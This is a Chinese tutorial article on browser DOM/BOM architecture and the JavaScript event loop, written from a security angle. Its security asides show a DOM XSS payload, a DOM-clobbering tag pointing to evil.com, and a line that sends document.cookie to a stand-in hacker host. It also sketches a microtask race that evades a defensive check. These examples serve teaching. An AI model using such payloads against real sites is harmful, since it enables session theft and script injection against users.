Web前端底层:DOM/BOM架构与JS事件循环(Event Loop)
Web前端底层:DOM/BOM架构与JS事件循环(Event Loop)
在剖析了 C/C++ 的内存布局与栈溢出之后,我们将视线转移到当今互联网最庞大、最活跃的运行环境——Web 浏览器。
绝大多数前端安全漏洞(如 XSS 跨站脚本攻击、DOM Clobbering 破坏、点击劫持)并非源于后端的 SQL 或 PHP,而是因为攻击者深刻理解了浏览器是如何解析 HTML 的,以及 JavaScript 代码是如何在浏览器中调度的。
本文将剥开前端的华丽外衣,直击浏览器的两大核心 API(DOM 与 BOM),并深度解剖 JavaScript 诡异的“单线程事件循环”机制。
1. 浏览器眼中的网页:DOM 树与 BOM 对象
当浏览器收到一段 HTML 纯文本(如 <html><body><h1>Hello</h1></body></html>)时,它并不能直接运行这段文本。浏览器引擎(如 Chrome 的 Blink 引擎)会对其进行词法分析和语法解析,最终在内存中构建出两套核心的数据结构:DOM 和 BOM。
1.1 DOM (Document Object Model,文档对象模型)
DOM 是 HTML 标签在内存中的面向对象映射。
浏览器将 HTML 文本转换成了一棵倒立的“节点树”。每个标签(如 <div>、<a>)、甚至每一段文本,都是树上的一个节点(Node)。
安全关联:DOM 型 XSS 在现代前端框架(如 Vue/React)普及之前,很多网页会使用
document.getElementById('msg').innerHTML = user_input;来动态更新页面。 如果user_input包含了恶意脚本<img src=x onerror=alert(1)>,浏览器在将其挂载到 DOM 树时,会立刻解析并执行这段脚本。这就是纯前端触发、流量不经过后端的 DOM 型 XSS 漏洞。高级攻击:DOM Clobbering (DOM 破坏) 由于浏览器的一些遗留“便利特性”,如果你在 HTML 中写了
<div id="config"></div>,浏览器会自动在全局的window对象上挂载一个window.config变量,指向这个 div。 如果前端代码中有let url = window.config.url || "http://safe.com",黑客就可以通过注入恶意的 HTML 标签<a id="config" href="http://evil.com"></a>,强行覆盖(Clobber)掉全局的config变量,从而劫持代码的执行流!
1.2 BOM (Browser Object Model,浏览器对象模型)
BOM 是浏览器提供给 JavaScript 操控“浏览器窗口本身”的接口。 如果说 DOM 代表了网页的内容(Document),那么 BOM 就代表了浏览器的外壳(Window)。
- 核心 BOM 对象:
window:全局顶级对象。location:控制和读取当前 URL(如location.href)。navigator:获取用户浏览器信息(如 User-Agent)。document:DOM 的根节点,其实也是挂载在 BOM 的window.document上的。
- 安全关联:
当发生 XSS 攻击时,黑客最喜欢调用的就是 BOM API:
window.location.href = "http://hacker.com/steal?cookie=" + document.cookie;通过操控 BOM,黑客可以强行让受害者的浏览器带着敏感凭证跳转到恶意网站。
2. JavaScript 的灵魂:单线程与非阻塞设计
理解了浏览器提供的数据结构(DOM/BOM),我们来看看操控它们的主人——JavaScript (JS)。
2.1 为什么 JS 必须是单线程的?
与 Java 或 C++ 动辄开启几十个线程不同,运行在浏览器中的 JS 引擎(如 V8)是绝对的单线程! 也就是说,在同一个浏览器标签页里,同一时刻只能有一句 JS 代码在执行。
原因很简单:为了避免 DOM 渲染的死锁。
假设 JS 有两个线程,线程 A 正在往 <div> 里添加文本,线程 B 突然把这个 <div> 给删除了。那浏览器究竟该听谁的?为了避免复杂的加锁机制,JS 诞生之初就被设计为单线程。
2.2 单线程的致命缺陷与“非阻塞”补救
单线程意味着代码必须从上往下、一行一行执行(同步执行)。
如果你写了一句 let data = fetch("http://api.com/huge_data");,如果网络很慢,这句代码要卡 5 秒钟。那么在这 5 秒内,整个网页将处于假死状态(按钮点不动,动画卡住,甚至无法滚动)。
为了解决这个致命问题,浏览器引入了**异步回调(Asynchronous)和事件循环(Event Loop)机制。JS 引擎把耗时的网络请求、定时器(setTimeout)统统丢给浏览器的其他后台线程(如 Web API 线程)**去处理,自己则继续往下执行其他代码。
3. 核心机制:事件循环 (Event Loop) 深度解剖
当后台的 Web API 线程完成了网络请求,或者定时器倒计时结束了,它该如何通知单线程的 JS 引擎呢?它不能直接打断 JS 的执行,而是把**回调函数(Callback)**塞进一个队列里排队。
事件循环 (Event Loop) 就是 JS 引擎用来不断检查队列、并把回调函数拉回主线程执行的机制。
3.1 宏任务 (Macrotask) 与微任务 (Microtask)
现代浏览器的任务队列分为两种,它们的优先级决定了代码执行的先后顺序,这也是前端面试和代码逻辑混淆的重灾区:
- 宏任务 (Macrotask):
- 包含:整体的 script 代码、
setTimeout、setInterval、用户交互事件(如点击按钮)、网络请求回调。
- 包含:整体的 script 代码、
- 微任务 (Microtask):
- 包含:
Promise.then()、MutationObserver。 - 特权:微任务的优先级绝对高于下一个宏任务!
- 包含:
3.2 Event Loop 的运转齿轮 (执行顺序)
JS 引擎的执行逻辑是一个无限循环的齿轮:
- 执行一个宏任务(通常是最开始的全局 Script 代码)。
- 在这个宏任务执行过程中,如果遇到
setTimeout,就把它交给后台,倒计时结束后把回调函数塞入宏任务队列。 - 如果遇到
Promise.then(),就把它的回调函数塞入微任务队列。 - 【关键点】当前宏任务执行完毕后,JS 引擎会立刻检查微任务队列。如果有微任务,就一口气把所有微任务全部执行完!
- 微任务全部清空后,浏览器可能会进行一次 UI 页面渲染(重绘)。
- 渲染完成后,JS 引擎再去宏任务队列中取出下一个宏任务(如刚才那个到期的 setTimeout 回调)开始执行。回到步骤 1。
💻 代码推演:测试你的 Event Loop 理解 思考下面这段代码的打印顺序:
输出顺序:1 -> 2 -> 3 -> 4。 解释:
- 全局 Script(宏任务)开始执行,打印 1。
- 遇到
setTimeout,扔进宏任务队列排队。- 遇到
Promise,扔进微任务队列排队。- 打印 2。全局 Script(当前宏任务)结束。
- 清空微任务队列:执行 Promise 回调,打印 3。
- 微任务清空,开始执行下一个宏任务(setTimeout),打印 4。
3.3 安全视角下的 Event Loop 竞态条件
很多复杂的安全防御绕过(Bypass)都利用了 Event Loop 的时序差。
例如,某些防御脚本使用 setTimeout(checkMaliciousDOM, 0) 去检查页面是否被注入了恶意节点。
黑客可以利用 Promise.then()(微任务)的极高优先级,在防御脚本的宏任务(setTimeout)执行之前,抢先执行恶意的微任务代码,窃取数据后再把恶意节点删掉,从而实现完美的竞态绕过 (Race Condition Evasion)。
4. 总结
在 Web 前端的底层世界里:
- DOM/BOM 是浏览器暴露给 JavaScript 的骨架与窗口,它们是 XSS 攻击最主要的载体与操控对象。
- 单线程的 JS 引擎 为了保证 DOM 渲染的安全性,牺牲了并发能力。
- Event Loop (宏任务与微任务) 则是为了弥补单线程的卡顿,而设计出的一套极其精密的异步调度齿轮。
下一篇预告: 既然 JavaScript 能随意操控 DOM,能发起网络请求(Fetch)。如果我在恶意网站 A 上写了一段 JS,它能在后台偷偷发起请求去读取用户在银行网站 B 里的存款余额吗?
理论上完全可以!但现实中这并未发生。这就是由于 Web 安全领域的“万里长城”——同源策略 (SOP) 的存在。 下一篇,我们将作为整个《安全基础》系列的最终章,深度剖析 SOP 同源策略与为了打破 SOP 而引入的 CORS (跨域资源共享) 机制,以及随之而来的 CSRF 与跨域漏洞!